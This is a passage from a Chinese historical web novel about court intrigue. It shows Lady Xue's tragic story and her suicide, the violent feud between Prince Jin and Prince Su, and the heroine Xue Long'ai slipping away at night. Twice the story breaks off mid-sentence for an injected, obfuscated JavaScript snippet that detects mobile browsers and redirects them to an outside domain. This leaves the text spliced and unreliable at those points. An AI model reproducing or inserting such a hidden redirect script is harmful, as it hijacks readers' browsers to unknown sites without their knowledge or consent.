“大通十五年,谢遹鸩杀幼帝,一支流民组建的义军以‘为汉王血脉雪恨’之名,以少胜多袭取了大散关,继而乘势发兵金陵,一路势如破竹,攻入金陵后,义军屠尽谢氏满门一百零九口,定国号为梁,改元永兴。 “梁室民心所向,江南士族皆欲归附,我随王家又回到了金陵。圣上对贵戚豪族十分礼遇,王家又有了几分从前的煊赫,却又出了一桩家丑。 “王六娘子早前婚配弘农杨氏,随夫外任陈仓时与人通奸,珠胎暗结,产下一女。事情败露,杨家送回王六娘子,必要和离。待两家交涉一完,圣上新封的‘万岁亭侯’便寻媒上门提亲,要娶王六娘子为妻。 “那些时日,我也耳闻得一点风声。说王六娘子为这桩婚事,和她兄长大闹了一场,说什么‘他记德不记仇,念着我份上,要将前事一笔勾销。你敢拦我,我抱了孩子一起死在爹娘牌位前。’ 薛隆爱和少年面面相觑,皆失声惊呼道:“这位万岁亭侯莫非是……?” 薛夫人幽幽的道:“那时,我身子不好,精神恍惚,独住在一处小院里,懒得理会王家的人事。我只记得,王六娘子的花烛之礼很盛大,一片笙箫鼓乐,响震虚空,宝楼之上结彩烛辉,合卺花筵欢趣不尽。这些热闹喜气与我无关,便叫小丫鬟关了角门安置,谁知那丫鬟在屋外叫嚷:‘夫人!这树上在滴血!’ “我擎灯去看,那丫鬟已唬得面无人色,烛光中,血至树梢滴落在地,比朱砂还要红几分。我抬头一看,有个人头血渌渌的悬在楼阁上,像是王家大公子的。宝楼上,一个身穿喜服的壮汉掣着一柄沾血的宝刀,手起手落,杀得王家尸横灯影,血泊迸流。 “那壮汉闻声转过脸来,正是那年我在芦花荡中所遇之人。我终于又见到了他,在我们匆匆分别的第十年。他高大了,也精壮了,脸上添了许多沧桑,从前是面如冠玉书生气,现在已是杀气凛冽武将身。霎时相见,他也惊得呆了,不再杀人,急往我这边小院跨来,王家的活口却似疯了一般抢奔过来拦他,两人打斗起来,甚为激烈。我看不明白攻守形势,急火攻心,只觉脚上一阵发软,便没了知觉。” 4.第四章 博山炉中香已成灰,只一缕沉烟犹浓,细袅袅的散开着。一场冤业情仇,薛夫人已叙至尾稍,恍惚间,她陡然有一种今生已尽的感觉。 此时,街巷里响起一慢一快的敲梆声,原来已是上灯时分。一直陪侍薛夫人身侧的婢女燃起一盏烛,剔得灿亮亮的,置于几案之上。 光映之间,薛夫人的眼眸中晃动着明明灭灭的烛火,透出几分阴恻恻的凋颓。 少年心中也难免有些唏嘘。 又想:“其实并没有人能证明,她的每句话都未作伪。” 他向薛隆爱瞧去。 只见她默然呆坐着,如木偶一般,却难掩悲恻,不言不语。 许久,方怔怔开口向薛夫人道:“原来姐姐是爹和王六娘子的女儿,所以爹才那么恨她、利用她。那我呢?我是谁和谁的女儿?” 薛夫人不答。 她俛颈沉吟,神思亦颇悲切,道:“我那时身子不好,心神紊乱,很多事都不记得了。 “我只记得,永兴二年的岁始,萧郎在金陵城边的北湖找到我,那晚的明月清光似水,比十五的满月还要圆美,风声隆隆里,倾岸的梅花簌簌乱响。 “那晚,萧郎和我说了许多许多话。他说他小时候爱哭闹,他的二姐姐最会说故事哄他,曾给他讲过一个莫愁女的故事,说莫愁女不堪受楚襄王凌辱,于深夜投湖自尽,被渔夫救起,最终与心爱之人团聚,归隐山林。 “他说,当年他的二姐姐带着他杀出一条血路,途中以己身引开搜捕,与他约在檀溪汇合。他途经我家庄子时,不防被毒蛇咬了一口,以为要命丧于此,正在恼恨报不了血海深仇,竟然出现一个仙女救了他。他心生爱意,却只能匆匆离去。他赶到檀溪,躲躲藏藏待了半年,他二姐姐都不见来。他身上银钱将尽,只好投义军去了。 “他还说所有事他都知道了,圣上念他有从龙之功,只要他去西蜀再办好一件事,不仅饶他屠戮之罪,还将我许与他。谢家已被他所灭,王家也没剩几个活口,他家的大仇也算报了。 “等他从西蜀功成身退,便带我去北方寻他二姐姐,以后再也不回来了。圣上已经答允,他往西蜀期间,将我安顿在皇家尼寺,与太妃们作伴,谁也不能欺辱我。” 说着,薛夫人泣不成声,悲咽续道:“那夜,我与萧郎割掌沥血于湖中,舀水同饮,立下尾生抱柱的誓约。然后,他带了和王六娘子的女儿,又捡起一个女婴,径往西蜀去了。或许……你就是那个被母亲丢弃的女婴。” 接着她向薛隆爱絮絮询问道:“萧郎在西蜀这些年是谁服侍他起居?吃的惯吗?穿什么衣服?事情办的顺不顺利?有没有吃苦头?” 薛隆爱凄然苦笑,道:“顺利,当然顺利。爹身在蜀中的任何一日,所做的任何一事,都当得起一句不辱使命。正因如此,也使他永不能再回来,你这十四年岁月,终是空等一场。他费尽筹谋,枉为他人作嫁衣,白丢了自己的一条命,也害了别人无数性命。” 薛夫人正待说话,门外响起一阵槖槖踏梯的脚步声,伴有兵器‘哐当’晃动的声响。 那少年脸色惊变,将薛隆爱护于身后,闪身避于门侧,只道不好。 猛听得门外有人朗声道:“卑职尚书府武卫殷亭刃拜见小夫人,恭请小夫人回京。” 薛夫人倚着楼窗向外望去,目神渐散,身子发颤,语气幽幽道:“他来了。” 薛隆爱懵然不明,问道:“谁?” 薛夫人眼波一转,寒森森的眼睛在薛隆爱脸上盯视了一个来回,笑道:“你的杀父仇人呀。” 薛隆爱和少年抢身去看,只见月影风里,街市华灯万盏,她远远望见州桥北岸的两道之上,四围护兵仪从整肃,拥着一乘白马钿车扬尘而来,道上行人纷纷避让在侧。 马上人是个身穿紫襕公服的官人,四十岁上下年纪,面容清癯,骨劲秀拔,只眉头不伸,面上尽是忧忡之意。 薛隆爱道:“他是谁?为何要杀我爹?” 薛夫人一字字道:“他是昔日大司马王介山的第三子王徽策,当今长公主的驸马都尉,如今官居六部尚书之首。” 言罢,她伸手拧住薛隆爱的脸颊,厉声道:“你给我记着!你必让此人死在你的手里,这才不枉萧郎白白养你十四年。” 随即,薛夫人望向身侧的婢女,柔声道:“汀葭,以后你就跟着这丫头吧。咱俩主仆一场,在我心里,你实比我的父母兄弟还要亲些。” 汀葭跪在地上,哭道:“我知道的,我都答应夫人了。” 薛夫人双眸忽而灿然生光。 她笑道:“三个月前,一位云游僧曾为萧郎捎来一则口信,说:‘相会之期,准在岁末。鹊头山下,不负前约。’ “我在这里等了他这些天,他终是没来。他虽失约,我不怪他,生不成双,那便死作一对。” 那少年心上正猜疑不定,薛隆爱也尚在沉思之中…… 蓦地,耳畔忽听得一阵阴风刮过,窗畔悬着的鱼灯被吹得乱颤。 几案上的烛花迎风而灭。 黑暗之中,薛夫人倾身扑向薛隆爱,拔出她腰间那把错金刀,往自己心窝里一剜,顿时热血一冲,直溅人面。 月光洒落过来,心随刀落,“啪嗒”一声坠在薛隆爱脚边。 薛隆爱凄声尖叫。 少年惊乱中忙伸手捂住她的双眼,只觉她满眶热泪顿时浸湿了他的掌心,伏在他怀里,悲声痛哭起来。 少年心下也不禁骇恻不已。 楼外,薛夫人的身躯已翻身攧下窗去,塌直落在那匹通体雪白的玉狮马前。 煞时间,楼下亦传来一阵嘶嚎哭声。 门外武卫已破门而入,来者十数人,见此情景,皆惊惶万状。 为首者打出一个手势,武卫们闯进阁中,各执枪刀逼近上来,形成包围之势。 为首者冲阁中三人喝道:“什么人?竟敢谋害尚书府贵眷。” 少年一言不发,先复燃烛火,走上一步,将那为首者手中兵刃一掣,右腿虚影一晃,一回身,已将那人手中兵刃缴扔在地上。 随后,少年示出怀中玉符,向众人道:“在下不才,托生来便有的一些顽福,享的是本朝晋王之爵。” 少年这句话一说,阁中武卫皆惊骇不已,心下也怀有几分惶惑。 晋王宇文桓失踪之事虽未外扬,可这帮武卫乃是尚书府亲兵,是略听得些风声的。可若眼前这少年真是晋王,当下情形属实难解。 满朝皆知,大梁皇帝宇文诸近年来甚是古怪,一味长居佛寺参禅,或忙于为早亡的发妻袁氏设斋造经,把朝政置之不顾。 故而,大梁皇室常年两宫并阙埋就的一场大祸,也渐渐觑着些影儿来。 皇长子肃王宇文胤之母昭仪蔡灵珂,出身缙绅名门,其父蔡谕官居国子监祭酒,管儒学训导,故其门生在朝为官者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650281|172602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇多。 又因长公主宇文南山待肃王爱如己出,驸马王尚书自然亦是拥趸肃王。 相较之下,皇次子晋王宇文桓之母阮贵来历不明,得幸于梁帝前,不过是路旁乞食的流民,实在微贱。 但阮上嫔有兄阮重,初为义军行伍中一小兵,因其在大散关之战中斩杀敌军将领,受萧司马举荐,升作前锋,后累著战功,封至镇军大将军。 自古以来,兵权犹如猛兽利爪。晋王虽因母出身所累,但也因母舅之亲得军中拥护。 因此,储嗣之争中,晋王的声威并不逊于其兄肃王。 于是,满朝文武分势下注,两方之间相互构陷,明争暗斗愈演愈烈,从朝堂弥漫到内廷宫闱。 许是为了避免兄弟相残的天伦惨祸,去岁焦夏一过,梁帝突将晋王派镇外州,令肃王留京,以此稳定朝局。 历来国之大事,在祀与戎。大梁又以腊祭为一年中最隆重的祀礼,晋王便奉诏回京。可祭典已过,仍不见晋王抵达金陵。 梁帝派出探子查访,只带回晋王的随从尸首,而晋王的生死下落,将近两月,并无丝毫音讯。 这一干武卫,本是奉命寻访尚书府出走的小夫人,岂料竟发现晋王的踪迹,不知是天赐立功良机,亦或是惹一场剐身祸端,也未可知。 一众人正自无计。 那为首者乃是王尚书府卫长殷亭刃,颇有些心明眼亮,当即叩首拜敕,道:“卑职不识殿下,慢上不敬,实该论罪,望乞殿下赦宥。可巧肃王殿下同尚书大人出巡,卑职为殿下引路,至驿宫与肃王殿下相会。” 宇文桓冷眼窥破,道:“不必。日前本王已传书大将军,令他拨兵亲来鹊洲渡口救应,护送本王回京,不日可到,你等无事即可退下。” 殷刃亭却不退下,因笑道:“殿下,方才坠楼女子,乃是我家尚书大人的宝宠,卑职实担罪不起,还望殿下垂怜,劳尊驾下楼,与尚书大人略叙情由,卑职万死不足报殿下恩德。” 宇文桓沉吟半晌,方道:“是该将此事备细说与姑丈知晓,你们先退下,本王随后就到,不可惊扰民众。” 殷亭刃及一众武卫,方才相揖趋出下楼。 待人走远,宇文桓俯身去看薛隆爱,她像是受了大惊吓,又似是处于极大悲痛之中,呆呆望着地上那摊未干的血迹,浑身只打寒颤,额上尽是冷汗直淋,半句话也挣不出。 宇文桓心里是说不出的怜惜之意,轻抚她肩膀,道:“薛姑娘,你别害怕,薛夫人去的惨烈,我们将她好好安葬,你不要太伤心了。” 薛隆爱泪痕淋漓,却冷笑道:“又不是我杀了她,我怕什么?她又不是我什么人,我伤心什么?” 宇文桓一怔,又叹道:“你别恼我,确是碍着许多险难,我才将姓氏少说了一个字。我姓宇文,名桓,是大梁的第二位皇子,受封晋王,兼都督徐州诸军事。除了少说一字外,皆是肺腑真心之言。” 说罢,他轻轻扯了扯她的衣袖,道:“咱们走吧。” 那个叫汀葭的婢女默默收了泪,扯下身上披袄,将血泊里的那颗心包好了。 也对薛隆爱说道:“大姑娘,咱们下楼去吧,有王尚书在,不妨事的。” 薛隆爱听了此言,只气得三尸神暴跳,七窍内生烟,哭叫道:“什么大姑娘小姑娘,王上书王下书的,统统与我没关系!” 说着将落在地上的错金刀拾起,掩面奔出了阁门。 5.第五章 这座鹊声楼临岸而立,两侧十数间楼台尚隔着,或是茶坊,或是酒肆,皆三面环水,相映着堤上一片杂花碧树,齐齐倒映在水波之中。 此时,但见天际银河皎洁,珠斗斓斑,正该是画船夜游、欢宴笙箫的良时。却见洲畔泊着的舟船皆是蓬窗紧闭,倒显得楼台水畔上金碧煌煌的灯山彩烛,甚是吊诡。 唯有那掠水而过的鹭鸶,倒是未惊,乱飞过一枝梅花梢儿,又翩然把翅一侧,远远捕鱼儿去了,懒得去看那王尚书抱尸在怀,悲恸无及,如失生母一般。 四下里两列护军阵势齐整,个个戈甲器仗皆备,无一人不是敛声屏息,无敢近者,只在两旁站立觑看。 还是那卫长殷亭刃有胆识,上前禀道:“大人,人来了。” 宇文桓微微一揖,向王尚书道:“姑丈,小王回京途中,在此处酒楼用食,不想偶遇府中小夫人,其中缘由并未了然。小夫人天年不遂,令人扼腕,且自节哀。” 王尚书全然不睬,抚尸哽咽道:“汀葭,怎么回事?” 汀葭道:“是夫人自己不想活了。别人不知道,我知道。她半辈子为酬父母恩,下半辈子不想再偿儿女债。怕得慌了,只能狠心把自己弃了。夫人早和我说过的,她这身子,既然已货与王家,自然归还主顾。只一颗心,永别妄想。” 字字句句,触及王尚书心中隐痛,他听了怒从心上起,放下薛烛尸身,一个纵步到汀葭面前,兜定一脚,踢得汀葭拨地直往后倒,鼻里嘴里直流血。 王尚书眼里似要喷出火来,切齿喝道:“养不熟的贼奴才!一个好人教你看顾死了,还敢满嘴里疯言疯语。” 薛隆爱先吃了一惊,慌忙从地下扶起汀葭来,挡在她身前,指着王尚书骂道:“也不知谁是没人伦的猪狗,这地上躺着的女子是不是姓薛名烛?她是不是琅琊王家小郎君的室人?听闻王尚书您行三,哭成这般泪人儿,不说自己疯疯癫癫,找丫头出什么气!” 宇文桓留心细看。王尚书抬眼一见薛隆爱,须臾间,果然变狂怒为骇愕,转而满目怜嗟。 宇文桓甚能觉出他通身在发抖,剑挫身心一般,长吁了一口气,慌了手脚问道:“这孩子是谁?” 薛隆爱道:“我姓李,叫珠中。” 王尚书沉吟了一回,心里乱自焦灼,急问道:“珠中姑娘是属龙的,过了正月初九便已十四岁了,对吗?” 薛隆爱眸子一翻,微微冷笑道:“不对,不对,老身这般辈分,想是不积德,这代儿孙连数数儿都数不明白。” 王尚书先是不明所以,等回过味来,恼胀了面皮,正要说什么。 宇文桓心里暗暗叹道:“老天爷这双手,端的好狠。” 转而向王尚书道:“姑丈,这位薛姑娘从西蜀来,她……” 骤然间,“飕!飕!飕!”连着三枝弩箭自半空掠过,直朝宇文桓急射过来! 他慌忙闪避不迭,头偏转不及,第三枝箭从他喉颈擦过,颈上立时鲜血兀自渗出,只差寸许,这枝箭便能不偏不倚穿透他的脖颈,不禁心里暗叫一声:“好险!” 众人乍惊未定。 一匹快马窜过四围护军,泼风一般直冲而来。眨眼之间,马上少年一勒缰绳,已拽弓立马于人前。 只见那人与宇文桓年岁相当,身穿鹔鹴裘,华冠朝履,正是肃王宇文胤。 原来是那殷亭刃有心想赚个前程,早使了一个心腹小兵,飞骑前去渡口驿宫报信与肃王。若他兄弟相认,他无功无过,若是肃王要效仿齐桓公当日弑手足,他立的可是头功。 宇文胤与宇文桓两下打个照面,宇文胤当即神色狠戾,先发制人喝道:“哪来的贼配军!胆敢冒名自陈天潢贵胄!众人听着,取贼人首级者,封万户侯!” 宇文桓闻言,微微一笑,道:“王兄莫非要当街屠杀手足不成?” 宇文胤讥笑道:“我王弟回京途中为乱贼所害,尸无下落,其佩印玉符定被贼人尽皆劫去,此蛮贼必是窝赃不成,便想冒认脱身,不是贼先锋,也是同谋!” 又向王尚书道:“大人还不呼令左右将贼人就地正法,容他在此狡辩什么!” 王尚书正在踌躇之际,宇文桓一个箭步,将身侧武卫手中兵刃劈手夺过,跃身一跳至钿车之上,朗声喊道:“我朝开国以来,六纪道行,诸父有善,诸舅有义 ,族人有序,昆弟有亲,师长有尊,朋友有旧。① “实乃四朝之典范,一统华夷指日可待!今天下未定,王兄构陷亲弟,欲行人禽无辨之事!即便父皇不向王兄归罪,他日得登大位,王兄何以服众?何以立威? “况我军与蜀军会盟在即,强敌当前,王兄若错杀手足,军心势必震恐,王弟母舅如何督兵征伐? “自古权柄之争,不论父子君臣,亦或手足姻亲,生杀予夺实属寻常,可当街屠弑,必祸及国祚。昔日司马昭当街弑君,致晋之一朝不堪言忠,今日王兄若范水模山,其恶甚于司马昭当日!祸不及身,亦必及子孙,街衢巷陌之中,人人都记得王弟的冤屈,王兄如何堵住天下悠悠之口!” 宇文胤大怒,当下引箭当弦,便要向宇文桓射去。 王尚书拦住宇文胤,道:“切勿躁进。” 眼前情势,实也大出王尚书的意料之外。他悲痛之下,未曾留意。不想宇文胤年少气盛,以为索性杀了宇文恒,万事大吉,却遭宇文桓反将一军,此时出手阻拦也已来不及。 便向宇文桓笑道:“臣与两位殿下素日会面不多,现下夜色沉沉,故不大能识辨人。不如随臣先回驿宫,宫闱之内、朝堂之上的旧事,对答谈来,岂能作假?” 宇文桓也笑,道:“舅舅在铜陵县上设有信鸽站,本王昨日便已飞鸽传书到寿唐关,算算时辰,舅舅也该率兵赶到了。舅舅比王尚书见本王多,一定不会认错。” 寿唐关乃是大梁咽喉要道,阮重率骑兵五万长驻此关,距鹊洲渡口不过三四百里,日夜之间便能抵达。 昨日宇文桓携薛隆爱到了南陵县,便吹了暗哨引来信鸽,即刻飞鸽传书,请舅舅前来救应。 王尚书闻言,已知误事。宇文胤却决不肯善罢甘休,自思来日怎会还有现下如此良机?一不做,二不休,干脆将宇文桓杀个五马分尸,再行筹谋。 便即从马上飞出,挺手中长箭朝宇文桓劈心刺去,宇文桓稍闪个过,故意卖出一个破绽,佯败引宇文胤上前。 宇文胤刺了个空,遂奋跃上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662502|172602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,举箭乱刺,宇文桓掣身一闪,就势夺住长箭,猛力一拖,双臂翻转,已将长箭抵在宇文胤头颈,挟持为质。 一众护卫大惊,不知该如何行事。 王尚书见状,宛如冷水当头淋下,却在旁哈哈笑道:“兄弟俩玩刀耍枪,不妨事,不妨事的,当心不要伤了人便好。” 宇文桓冷笑道:“确是玩儿,王兄向来最爱把旁人的命把在手上玩,这回自己也试试滋味吧。” 宇文胤哼的一声,作势飞腿踢人,右手急遽掣出怀中匕首,直刺宇文桓腹中! 宇文桓一惊,向后跃开数步,宇文胤发狠扑近刺去,两人刀箭相击,锵锵交鸣之下,刀剑皆失手落地。 两人目光交接,皆是又怒又恨。 一刹间,二人皆瞪着眼粗了筋,仿佛有着积压了千年万年的仇恨,即刻凶狠地扭打起来,一拳一脚皆拼尽全力,誓要取下对方的性命。 他们年岁相近,自然旗鼓相当,撕打中两人额上已是汗珠涔涔,仍是谁也不肯罢手。 宇文桓腿伤初愈,渐渐不敌。 宇文胤占了上风,他奋力翻过身迅速将手肘扼压在宇文桓的脖颈,使下十足狠劲,眼看就要将宇文桓的性命彻底了结。 这时,一颗铁珠子掷来,稳稳打在宇文胤手臂上,震开了他扼压宇文桓的手。 宇文胤吃痛不过,狠狠转过了头。 花间月下,那少女一身缟素,雪肤花貌之上溅染斑斑血迹,隔着火光烛天,与宇文胤四目相对。 这少女,便是薛隆爱。 薛隆爱最先记住的,是宇文胤的眼睛。 他的一双眼生得极美,像古画上的凤凰,却似蕴着终年不散的阴鸷,就如饿狼扑食前,眈眈相向着猎物一般,很是渗人。 但此刻,事关人命。 见宇文胤仍不罢手,情急之下,薛隆爱未及细想,手上的铁珠子又已化作一道急影,向宇文胤掷去,狠狠地击中了他的额角。 宇文胤的额角处顿时划过一道血痕,鲜血淋漓而下。然而,他却一动不动,目光阴晴不定地紧锁着薛烛。 薛隆爱望着宇文胤额上血痕,避开了他的目光,道:“我不是有心伤你,只是不让你杀了他。” 宇文桓瞅准时机,猛然间从宇文胤的紧紧钳制中挣脱开来。他汇聚起全身之力,奋力一跃,拳头如破风之势击中宇文胤的前胸。 宇文胤亦奋力一脚踢出! 二人各受重击,先后倒地,顿时皆一口鲜血喷涌而出,溅落在地。 王尚书甚是头痛,正不知如何应付。 忽在这时,城楼处一枝号火升起,蓦然城门开处,远远的听见蹄声如雷,只见一路精兵阵势如雄,自夜色中,惊天动地一般,奔腾而来。 为首的虬髯猛将,身披雁翎金甲,铁面棱眼,手执长戟飞马冲来。 身后骑兵亦各持刀枪,气势雄霸,俨然疾风随猛虎般,与那虬髯猛将一齐翻身下马,只向宇文桓跪地拜道:“末将来迟,晋王殿下恕罪。” 宇文桓心里一阵激动,连忙擦去嘴角鲜血,顿时红了双眼。连日来的担惊受怕尽数消散,喜得只顾扑上去相认,连声喊道:“舅舅!你可算来了!” 6.第六章 “虎头!你娘为你急得肝肠都要碎了,舅舅接到你的飞鸽传书,手足也冷了,即刻领了这三千心腹健卒日夜兼程赶来,幸喜你无事!” 这虬髯猛将正是宇文桓的母舅,大梁的镇军大将军阮重。 阮重乃一介武夫,生于乡野市井之中,自幼少条失教,况他们舅甥之间向来亲厚,不大受寻常虚礼所拘,此时相见,竟直呼宇文桓乳名答话。 宇文桓也不见怪。 舅甥俩略叙过一番,阮重才朝宇文胤不冷不淡的作了一揖,算是行过了礼。 至此,大局算是已定。 那个尚书府的卫长殷亭刃早吓得形色仓皇,浑身战战兢兢的。 只见他踌躇之间,突然向宇文胤肉袒跪伏,长叩请罪道:“卑职失察,错认晋王殿下,几乎害得肃王殿下伤及人伦,卑职静候发落!” 宇文胤端立不动,也不言语。 王尚书向他丢了个眼色,宇文胤仍置若罔闻。 宇文桓微微一笑,道:“朝士争荣,侍人妒宠,做哥哥的认不得弟弟,于我们这样人家,本属平常。总是无关紧要的事,王弟也已抛诸脑后了。” 话音一落,宇文胤额上筋都叠暴起来,倏地举刀一掣,既准又狠,那殷亭刃已贯胁而死。 当真是欲求生富贵,须下死工夫。 不如此,他宇文家又如何另行起一番兄友弟恭的和气来? 宇文胤把那尸体一脚提将至宇文桓脚下,道:“王兄误信谗言,便将这狗奴才剐了,与王弟略表歉忱。今日之事,王兄长记心里了,必引为鉴戒,日后定不再如此大意。” 宇文桓回敬道:“王弟亦是如此。” 王尚书恐这兄弟俩又起兵戈,不好收场,便道:“肃王奉陛下之命出巡,本是为察吏稽民,前后三五千护卫,也不知派出多少出外探哨,只因挂念晋王下落。一场兄弟恩义,全因刁泼奴才有心生事,起了误会。既然始作俑者已处置,大将军连日兵马劳顿,此处有驿宫,早已备下宴饮,何不同去洗沐歇息?待得明日一道回京复命,陛下定也欢喜得很。” 阮重不接口,忽指着血泊里横着的薛夫人尸首,惊问道:“啊呀!这里怎么有具女人尸体?” 王尚书不禁一呆,俯身将薛夫人尸首小心抱至车中安放。这驾饰以金珠宝玉的钿车,原本是为了迎她归府而备,不料最终成了载送她冰冷尸身的柩车。 言念及此,王尚书面上难掩悲酸,道:“这是我……是我幼弟房里人“ “原来是她。”阮重恍然大悟,却笑道:“哈哈,哈哈!尚书大人何以面有悲恻?这不正是生是你王家的人,死是你王家的鬼?今夜当与洒家痛饮三杯,贺你夙愿得了。” 王尚书脸上一阵红一阵白,大是尴尬,半晌一句话也说不出。 宇文桓怕阮重言语不慎,令人心里不快,急道:“舅舅,现下天色甚晚了,咱们还是先去驿宫安顿,明日早些启程回京才是。” 阮重点头,朗声道:“说的是。舅舅在这里,便是龙潭虎穴也不用怕,谁要再敢使诈害你,老子把他连头到尾砍个七零八碎,教他凑不回囫囵个儿!” 宇文桓走向立在一侧负手旁观的薛隆爱,低声道:“薛姑娘,咱们走罢。” 薛隆爱缓缓问道:“咱们?去哪儿?” 宇文桓道:“回金陵呀!薛姑娘,我想过了。此去汉中何止千里,路上乱军盗贼不知多少,你虽有些功夫在身,毕竟双拳难敌四手,不如先回金陵安顿。你的亲人,等我舅舅率军入蜀时,我请他为你打探下落,将他们接来金陵团聚,不是更好?” 薛隆爱淡淡一笑,道:“好罢!那便先去金陵再做打算。” 宇文桓猜不出她心里打算,但听到她愿意去金陵,心下自是欢喜。想着等到了金陵待她更加好些,日久见人心,她自然愿意留下。 他当即同阮重简略说了一遍与薛隆爱相识经过,便携她随车驾启行至驿宫,距渡口不过数里,月没参横之下,远远见一处朱甍碧瓦,并有花檐滴水,四周雕墙环护,近墙边一带高槐古柳,此间早有一干驿吏等候着迎驾,两侧灯笼火把耀如白昼。 众人行礼既毕。 宇文胤、宇文桓、王尚书、阮大将军四人相让了一回,遂由侍从引路踱步走进正门,行至□□尽处,便是内院门首。 庭院里假山画阁相连,左右几间厢房,皆垂着香色银丝软帘。此时已是一更时分,夜色寂寂笼着满院花影。薛隆爱早已神思懒怠,同宇文桓说了一声,便要入房去睡。 那唤作汀葭的婢女忙走到她跟前,道:“我服侍大姑娘安置。” 薛隆爱见她挨了王尚书一顿打,髻也偏了,发也乱了,心里不忍,便未出言逐她。 王尚书却出声道:“薛姑娘,且慢。” 薛隆爱淡淡的道:“王尚书是要这婢女服侍你安置么?这是你王家主仆间的事,与我没有干系。” 汀葭向薛隆爱道:“大姑娘,我不是王家的婢女,我是夫人的婢女,夫人说了教我以后跟着大姑娘。” 王尚书苦笑了笑,走至薛隆爱身前,道:“薛姑娘别多心,既然烛妹已将这婢女送与你,那你就留她在身边随侍,做个念想罢!老夫并无异议,只是有桩不情之请,望薛姑娘应允。” 薛隆爱斗然四肢有些发抖,问道:“什么事?” 王尚书黯然道:“烛妹生前膝下无所出,丧仪上无孝子为她灵柩执幡引路,岂不可怜!老夫想薛姑娘与烛妹生前相逢,又巧为同姓,合该是天缘。故想将你认做我琅琊王家的义女,记在烛妹名下。待到了金陵,老夫接你到我王家教养,我家中有位小侄女,比你大一岁,你们姐妹相称,一定投缘,可好?” 薛隆爱默默听完,冷笑道:“我西蜀虽亡,家父也已死于乱军之中,我自然是个亡国破家的孤女,可也无心攀做五姓女。至于薛夫人丧仪之事更是好办,南北四朝中多有挽郎入仕的惯例,只要王尚书价码高,大梁寒门之中抢着来为薛夫人抬棺的少年郎,比比皆是,足够王尚书挑花了眼,不必多此一举来请小女。况且,昔日兰陵萧氏满门乃至我西蜀千家万户,荒郊野外、乱葬岗中,不也堆尸横骨?一样投胎转世,并无什么区别。” 宇文胤本在一边冷眼旁观,听薛隆爱一番话很是冒犯,似乎是不愿意同他们扯上关连一般,将她上下打掠一回,冷冷开口道:“地位尊贵的五姓女,白给你,你瞧不上。晋王府没名没分的,你又肯去住?我可告诉你,姓阮的一家天生贱种,你巴结上去也讨不着什么好的。” 王尚书却并不发怒,只付之一笑,道:“薛姑娘再多加考虑些时日,待到金陵再答复老夫亦不迟。” 薛隆爱并不答话,转身径直掀帘入房,汀葭也忙随身进去,砰的一声,房门已紧紧关闭。 王尚书长叹了一声,和宇文胤转身离开。 阮重立于回廊,瞧完这一幕,对宇文桓道:“这丫头口齿甚伶俐,虎头,你当真中意她?以后怕是要吃苦头了。” 宇文桓脸一红,道:“舅舅,你不知道,她心地好,只是面上装的厉害,何况她对我有救命大恩,焉能不报?” 阮重哈哈一笑,道:“救命之恩,报答的法子多了去了。你身边早该有个伶俐女子来照顾你,我倒是没意见。况且你这一辈子,何止一妻一妾,这个纵然不好,也无关紧要。” 宇文桓心念一动,心道:“我可吃够了这三妻四妾的苦头,父皇当年若是只娶一人,我和宇文胤若是一母所生,也不至于手足相残到毫不容情的地步。” 舅甥二人闲话几句,也深感倦意,就也散去。 厢房里,银烛正燃。 汀葭正在打展衾被,手脚麻利得很。 烛影下,薛隆爱的目光怔怔随着烛花儿轻轻摇曳。她手托香腮,渐渐回过来神,忽问道:“汀葭,你多大了?” 汀葭答道:“今年十八岁了。” 薛隆爱又问道:“你是怎么到王家做婢女的?” 汀葭走了过来,道:“大姑娘,我和你说过了,我不是王家的婢女,我是夫人的婢女。夫人原先住在瑶光寺里,我是寺里的佛图户,也就是官奴,夫人把我养大的,那时候我才四岁呢。” 薛 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汀葭叹道:“能不杀还是不杀吧,其实夫人说的也是气话。上一辈的事,还是不要多管了,他们自己或许都弄不明白。” 薛隆爱微微一笑,从怀里拿出一个镶金的栗色风藤镯,塞给汀葭道:“那些旧事不必提了。今日我们相识,我送件薄礼与你。这支藤镯是用百年老藤所制,既名贵又养身。本是两支,我和我姐姐一人一支,现在独剩这支,我瞧着也伤心,送你了,就当我给你的念想吧。” 汀葭连连摆手,道:“这怎么行?太贵重了。” 薛隆爱道:“你不收,我就恼。” 汀葭只得收了,含泪道:“大姑娘,你和你……和夫人一样好心。” 薛隆爱吹熄了烛火,转过了身,道:“睡吧。” 汀葭也就在床边榻上和衣睡了,却不由得把白日间的种种情景想了多遍,总觉得薛夫人的死状就在眼前,心下不禁哀惨难忍。 又想晋王似乎同薛隆爱交好,日后不知会不会同肃王一党的王家生起争端,自己服侍在旁又该如何相劝才好?辗转反侧的,渐渐做了一通乱梦…… 不觉喔喔鸡鸣,汀葭迷迷糊糊醒转,一翻身却扑了个空,连头带身栽在地上,一阵生疼滚将上来。哭笑不得之际,生怕自己吵醒了薛隆爱,谁知那锦帐之中已是空空荡荡。 汀葭揉了揉眼睛,确是不见薛隆爱人影,怔怔道:“怕不是我眼花了吧。” 自言自语中,她回想起昨夜薛隆爱送藤镯给自己的情景,不禁大惊,连忙奔出屋外,胡乱喊道:“尚书大人!晋王殿下!大姑娘走了!” 须臾间,院子里乱哄哄起来,宇文桓大踏步疾奔出来,忙问道:“别慌!她什么时候走的?” 